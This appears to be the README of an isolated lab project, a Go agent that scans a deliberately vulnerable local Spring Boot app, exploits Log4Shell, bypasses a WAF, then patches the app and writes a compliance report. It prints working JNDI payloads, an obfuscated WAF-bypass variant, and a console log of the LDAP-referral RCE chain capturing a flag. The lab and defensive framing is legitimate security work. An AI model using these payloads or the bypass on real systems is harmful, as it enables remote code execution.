
وكيل Go مستقل وتأملي للتدقيق الأمني لكامل دورة الحياة، وتجاوز WAF، والتحقق خارج النطاق (OOB) عبر LDAP، والمعالجة الذاتية (التصحيح التلقائي)، وتقارير الامتثال لثغرة CVE-2021-44228 (Log4Shell).
منصة عرض تجريبية معزولة لعامل منفّذ انعكاسي مستقل (Go/Java)
Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦
[!NOTE] AUTO AUDIT هو مجمع برمجي يوضح دورة مغلقة مستقلة 100% (Sense-Think-Act) للكشف والتحقق والاستغلال والإصلاح التلقائي (Self-Healing / Auto-Remediation) وإعداد تقارير الامتثال للثغرة الحرجة Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).
تنشر المنصة تطبيق ويب محليًا قائمًا على Java Spring Boot، مع LDAP TCP Callback Listener مدمج، ونواة معرفية لعامل Go تتخذ القرارات في ظل قابلية مراقبة جزئية للبيئة الخارجية (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
---
## 🛠️ البنية التقنية والمكونات
هيكل البرنامج للوكيل مصمم وفق مبادئ العمارة النظيفة (*Hexagonal Architecture / Ports and Adapters*) وSOLID وTDD:
* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — نقطة الدخول. يدير دورة حياة العمليات الخلفية وينسّق تشغيل goroutine الخاص بالوكيل.
* 📂 **`internal/`** — منطق الأعمال الأساسي للحلقة المعرفية:
* 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — الحلقة المعرفية. ينفّذ دورة التحكم وقاعدة القرار لاختيار الاستراتيجية `Think()`.
* 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — قاعدة معرفية آمنة للخيوط (`KnowledgeBase` / LTM) مبنية على `sync.RWMutex`.
* 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — واجهة `Tool` للمؤثّرات.
* ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — سجل المؤثّرات متعددة الأشكال (الأدوات):
* 🔍 `ToolPortScanner` — استكشاف المحيط الشبكي.
* 🌐 `ToolDiscovery` — البحث عن نقاط الالتحام ونواقل الإدخال (`X-Api-Version`).
* 🔬 `ToolPayloadGenerator` — توليف متجه توقيع JNDI.
* 🚀 `ToolProber` — التحقق من الثغرة بطريقة التتبع خارج النطاق (Out-of-Band).
* 🛡️ `ToolSemanticFuzzer` — تجاوز مصنّفات التصفية (WAF Evasion) عبر طفرات نحوية متداخلة.
* 🩹 `ToolRemediator` — الترقيع التلقائي (Self-Healing).
* 📄 `ToolReporter` — إنشاء تقرير وفقًا لـ ГОСТ Р 56939-2016.
* 📂 **`pkg/`** — الحزم والمكتبات المساعدة:
* 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — مستمعات خارج النطاق (LDAP وHTTP).
* ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — إدارة دورة حياة وإعادة تشغيل هدف Java المحلي.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — ملفات إعدادات النشر (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — تطبيق اختبار ضعيف بلغة Java Spring Boot.
---
## 🎯 الجهاز الرياضي ومواصفات دورة الإدراك (Think-Act Loop)
اتخاذ القرار من قبل الوكيل تمت صياغته كـ **عملية قرار ماركوفية جزئية الملاحظة (POMDP)**، موصوفة بالمجموعة $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — فضاء منفصل للحالات الخفية للبيئة المستهدفة (توفر المنفذ، وجود معاملات قابلة للاستغلال، نشاط WAF، حقيقة الاختراق، حالة الترقيع، وجود تقرير الامتثال).
* $A$ — فضاء أفعال المؤثّرات (استدعاء الأدوات: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — فضاء الملاحظات (استجابات HTTP المستلمة، استدعاءات TCP خارج النطاق OOB، سجلات نظام الملفات).
* $O(o \mid s', a)$ — دالة الملاحظات التي تحدد احتمال الحصول على استجابة $o \in \Omega$.
### 1. متجه الثقة (Belief State)
الوكيل لا يملك معلومات مباشرة عن الحالة الخفية للبيئة $s \in S$، بل يتعامل مع متجه ثقة $b(s)$ — توزيع احتمالي على $S$، يُخزَّن ويُحدَّث ديناميكيًا في ذاكرة `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — حالة الاستكشاف الشبكي (المنفذ مفتوح/مغلق). يُعرض على `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — تعيين نواقل الإدخال (هل تم العثور على المعاملات). يُعرض على `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — جاهزية توقيع الاستغلال. يُعرض على `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — حالة الاختراق (وجود Loot/Flag). يُعرض على `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — حقيقة توطين الثغرة. يُعرض على `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — التحقق من عدم تكرار مشغّل OOB. يُعرض على `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — إنشاء تقرير منظّم. يُعرض على `ReportGenerated`.
### 2. دالة قاعدة القرار (Policy Mapping)
دالة اتخاذ القرار `Think()` تنفّذ قاعدة قرار حتمية $\pi: B \to A$، تقوم بتعيين حالة الثقة المتراكمة الحالية $b$ تباعًا إلى الفعل الأمثل للمؤثّر $a \in A$.
### 3. التعلم التكيفي وتقييم كفاءة الأدوات
لكل أداة $a \in A$ في ذاكرة `ToolStats` تُجمَع إحصائيات ويُحسب مؤشر الفائدة (Efficiency Score):
$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$
يستخدم الوكيل هذه المؤشرات لتغيير المسار ديناميكيًا: إذا فشل المسبار الأولي `prober` ($\text{EfficiencyScore}(\text{prober}) = 0$)، يحدد الوكيل وجود تصفية على العقدة المستهدفة (WAF)، ويفعّل استراتيجية تعويضية لتجاوز WAF باستخدام أداة `semantic_fuzzer` وينفّذ طفرة على متجه الحقن.
### السيناريو التفصيلي لتشغيل المنصة:
| الخطوة | الأداة المختارة | الإجراء وفيزياء العملية | تغيّر Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | فحص مقبس TCP للمضيف `:8080`. | تم اكتشاف منفذ HTTP مفتوح لخدمة الويب ($b(S_{recon}) = 1$). |
| **2** | `discovery` | تنفيذ طلب GET وتحليل DOM والترويسات. | تم تحديد متجه إدخال: الترويسة `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | توليف متجه استغلال أساسي. | تُمتلأ قاعدة البيانات بالسلسلة `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | الهجوم الأولي. يرسل الوكيل الحمولة. | تم حظر المحاولة بواسطة WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | إخفاء التوقيع عبر lookups متداخلة. | تم توليد توقيع مطفّر ($b(S_{payload}) = 1$, تجاوز WAF). |
| **6** | `prober` | هجوم بمتجه مُخفى. | يسجّل مستمع LDAP المدمج اتصال TCP وارد. تم اكتشاف حقيقة RCE ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | إصلاح تلقائي. كتابة العلم في `remediation.properties` وإعادة تشغيل JVM. | أعيد تشغيل عملية Spring Boot مع العلم `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | التحقق (طلب فحص متكرر). | انتظار اتصال OOB على المنفذ `1389`. لا يوجد اتصال $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | إنشاء تقرير markdown. | تم إنشاء المستند `reports/cve_2021_44228_report.md` ($b(S_{report}) = 1$). |
| **10**| `stop` | الإنهاء. | إنهاء العمل. |
## 📊 المخططات الانسيابية للخوارزميات
### 1. الخوارزمية العامة لعمل الوكيل (Sense-Think-Act Loop)
يصف هذا المخطط دورة الحياة المستمرة لعمل الوكيل: من الإطلاق وتهيئة قاعدة المعرفة حتى إنهاء جلسة التدقيق.```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
يصف هذا المخطط بالتفصيل منطق اختيار الخطوة التالية بناءً على متجه الثقة المتراكم الحالي (Belief State) داخل الدالة Think():```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
---
## 📦 مواصفات تطبيق Java الهش
التطبيق الهدف في الدليل `test/vulnerable-app/` عبارة عن خدمة REST بسيطة مبنية على **Spring Boot 2.7.18** مع إصدارات مخفوضة عمدًا من مكتبات **Apache Log4j2**:```xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
يقوم المتحكم الضعيف بتسجيل ترويسات HTTP الواردة دون تنظيف مسبق:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);
عند استلام سلسلة نصية بالشكل `\${jndi:ldap://...\}` يبدأ المسجّل (logger) في تحليل عنوان JNDI، مرسلًا طلبًا عبر بروتوكول LDAP إلى المنفذ `1389`.
---
## 🚀 تعليمات التشغيل
تدعم منصة العرض التوضيحي وضعين للنشر: التشغيل المحلي مباشرة على النظام المضيف (الخيار أ) أو التشغيل المعبأ بالكامل في بيئة شبكية معزولة عبر Docker Compose (الخيار ب).
### الخيار أ. التشغيل المحلي على النظام المضيف
#### المتطلبات الأساسية
* **JDK 17+** (تحقق عبر `java -version`)
* **Maven 3.8+** (تحقق عبر `mvn -version`)
* **Go 1.21+** (تحقق عبر `go version`)
#### 1. بناء خدمة Java المصغّرة
قم بتجميع هدف Java في ملف JAR سميك:```bash
cd test/vulnerable-app
mvn clean package
cd ../..
تأكد من أن الملف vulnerable-app-simple-1.0.0.jar قد تم إنشاؤه بنجاح في الدليل test/vulnerable-app/target/.
قم بتجميع فئة Java Exploit التي سيتم تقديمها عبر خادم HTTP:```bash javac internal/payload/Exploit.java
#### 3. تجميع وتشغيل المنصة التجريبية
التشغيل في وضع التفسير الفوري للغة Go:```bash
go run ./cmd/agent
أو نفّذ التجميع إلى ملف ثنائي قابل للتنفيذ:```bash go build -o test_agent ./cmd/agent ./test_agent
---
### الخيار ب: التشغيل في بيئة Docker معزولة (Docker Compose)
> [!TIP]
> لا يتطلب هذا الخيار تثبيت Go أو Java أو Maven على نظام المضيف لديك. يتم بناء البيئة بالكامل وتنسيقها تلقائيًا في شبكة افتراضية معزولة `172.20.0.0/16`.
#### المتطلبات الأساسية
* تثبيت **Docker** وإضافة **Docker Compose** (تحقق عبر `docker compose version`).
#### 1. تشغيل بيئة الاختبار
نفّذ بناء الصور وتشغيل الحاويات بأمر واحد من الدليل الجذر للمشروع:```bash
docker compose -f deployments/docker-compose.yml up --build
vulnerable-app سيقوم تلقائيًا بتجميع تطبيق Java الخاص بـ Spring Boot، وكتابة العلم السري في الدليل المغلق /var/lib/secret/flag.txt، وتشغيل خادم الويب على المنفذ :8080.reflective-agent سيقوم بتجميع كود الوكيل بلغة Go، وتجميع حمولة Java Exploit.java، وتشغيل خوادم OOB، وبدء الدورة المعرفية.reports/ على النظام المضيف مثبت على حاوية الوكيل — سيقوم تقرير GOST الذي يتم إنشاؤه في نهاية العمل بالحفظ تلقائيًا في دليلك reports/cve_2021_44228_report.md.لإنهاء المحاكاة وإزالة الموارد الشبكية، نفّذ:```bash docker compose -f deployments/docker-compose.yml down
## 📊 مثال على مخرجات وحدة التحكم```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
يأخذ التقرير الذي يولده الوكيل في الملف reports/cve_2021_44228_report.md في الاعتبار المعايير الروسية الأساسية لأمن المعلومات:
يُوزَّع هذا المشروع بموجب ترخيص MIT. التفاصيل في ملف LICENSE.